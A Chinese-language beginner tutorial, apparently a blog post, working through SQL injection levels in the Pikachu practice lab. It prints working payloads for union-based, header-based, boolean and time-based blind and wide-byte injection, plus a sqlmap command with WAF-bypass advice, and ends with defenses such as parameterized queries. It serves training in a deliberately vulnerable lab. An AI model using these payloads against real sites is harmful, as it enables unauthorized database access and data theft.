新手必看:用Pikachu靶场通关10种SQL注入,从数字型到宽字节一篇搞定

📅 2026/7/9 12:05:49 👁️ 阅读次数 📝 编程学习
新手必看:用Pikachu靶场通关10种SQL注入,从数字型到宽字节一篇搞定

从零到精通:Pikachu靶场SQL注入实战通关手册

当你第一次打开Pikachu靶场的SQL注入模块,面对十几种不同类型的注入场景,是否感到无从下手?作为Web安全领域的敲门砖,SQL注入既是基础必修课,也是实际渗透测试中最常见的漏洞类型。本文将带你用"闯关式"学习方法,从最简单的数字型注入开始,逐步攻克宽字节注入等复杂场景,最终形成完整的SQL注入知识体系。

1. 环境准备与基础知识

在开始实战前,我们需要确保Pikachu靶场环境正常运行。推荐使用Docker快速部署:

docker pull vulhub/pikachu docker run -d -p 8080:80 vulhub/pikachu

访问http://localhost:8080即可看到Pikachu的登录界面。这个靶场特别适合新手,因为它:

  • 按漏洞类型清晰分类
  • 提供即时反馈的漏洞验证机制
  • 包含从易到难的各种注入场景

SQL注入核心原理:当应用程序将用户输入直接拼接到SQL查询语句中时,攻击者通过构造特殊输入,改变原查询逻辑,实现非授权数据访问。理解这个本质后,各种注入类型只是闭合方式和利用场景的不同。

提示:所有练习仅在授权环境中进行,实际测试必须获得书面许可

2. 基础注入类型实战

2.1 数字型注入:最简单的入门关卡

数字型注入是Pikachu中最基础的关卡,适合建立初始认知。在"数字型注入"模块,尝试输入不同数字观察页面变化。

典型利用步骤

  1. 判断注入点:输入11',观察报错差异
  2. 确定列数:1 order by 2--(逐步增加数字直到报错)
  3. 联合查询获取数据:
    -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--

常见错误处理:

  • 若返回空白页,尝试将-1改为不存在的ID值
  • 引号被过滤时,使用十六进制编码绕过

2.2 字符型注入:引号的游戏

字符型注入与数字型的核心区别在于闭合方式。在"字符型注入"模块,输入kobe'测试单引号闭合。

闭合方式检测表

输入预期结果闭合类型
kobe'报错单引号
kobe"报错双引号
kobe')正常单引号+括号

成功闭合后,后续利用与数字型类似,只需注意保持语句闭合:

kobe' union select 1,database()-- '

3. 进阶注入技术

3.1 搜索型注入:模糊匹配的利用

搜索型注入常见于网站搜索框,利用模糊查询特性进行闭合。在Pikachu中,需要特别注意%符号的处理。

典型payload结构:

test%' and 1=1--

关键技巧:

  • 使用%匹配任意字符
  • --注释掉原查询剩余部分
  • %被转义时,尝试双写%%绕过

3.2 HTTP头注入:非传统输入点

HTTP头注入常被忽视,却是实战中高发的漏洞类型。Pikachu的"HTTP头注入"模块模拟了这种场景。

常见注入点

  • User-Agent
  • X-Forwarded-For
  • Cookie
  • Referer

利用示例(通过Burp Suite修改):

User-Agent: ' and updatexml(1,concat(0x7e,database()),3) and '

注意:实际场景中可能需要处理编码和特殊字符过滤

4. 高级注入技巧

4.1 盲注:无回显的持久战

当页面没有明显报错信息时,盲注是唯一选择。Pikachu提供了基于布尔和时间的两种盲注场景。

布尔盲注工作流

  1. 判断闭合方式:kobe' and 1=1--(对比正常/异常响应)
  2. 逐字符猜解数据:
    kobe' and ascii(substr(database(),1,1))>100--

时间盲注技巧

  • 使用sleep()函数制造延迟
  • if()条件判断控制延迟触发
  • 典型payload:
    kobe' and if(ascii(substr(database(),1,1))=112,sleep(3),0)--

4.2 宽字节注入:编码的魔术

宽字节注入利用了GBK等双字节编码的特性,是中文网站特有的漏洞类型。Pikachu的宽字节模块完美复现了这种场景。

核心原理

  • 输入%df'时,%df与转义符\(%5c)组合成合法汉字
  • 导致单引号逃逸,成功闭合语句

利用示例:

1%df' union select 1,version()--

防御方案对比:

方案有效性性能影响
参数化查询
转义特殊字符
使用UTF-8编码

5. 自动化工具辅助

掌握手工注入后,可以尝试使用sqlmap等工具提高效率。以下是针对Pikachu的基本扫描命令:

sqlmap -u "http://localhost:8080/vul/sqli/sqli_id.php?id=1" --batch --risk=3

工具使用注意事项

  • 避免在生产环境直接扫描
  • 控制请求频率防止被封禁
  • 结合--tamper参数绕过WAF

手工注入与工具对比:

维度手工注入自动化工具
学习价值
检测精度
测试速度
隐蔽性

6. 防御方案与最佳实践

理解攻击手段后,学习防御同样重要。以下是几种有效的防护措施:

代码层面

  • 使用参数化查询(Prepared Statements)
  • 实施最小权限原则
  • 输入验证白名单

架构层面

  • WAF部署
  • 数据库审计
  • 定期漏洞扫描

PHP示例(正确做法)

$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$input_id]);

常见错误模式:

  • 字符串拼接查询
  • 动态SQL生成
  • 错误信息详细展示

在Pikachu靶场的通关过程中,建议记录每种注入类型的特征和利用方式,形成自己的检查清单。随着练习深入,你会发现SQL注入不再是神秘的黑魔法,而是可预测、可防护的常规漏洞。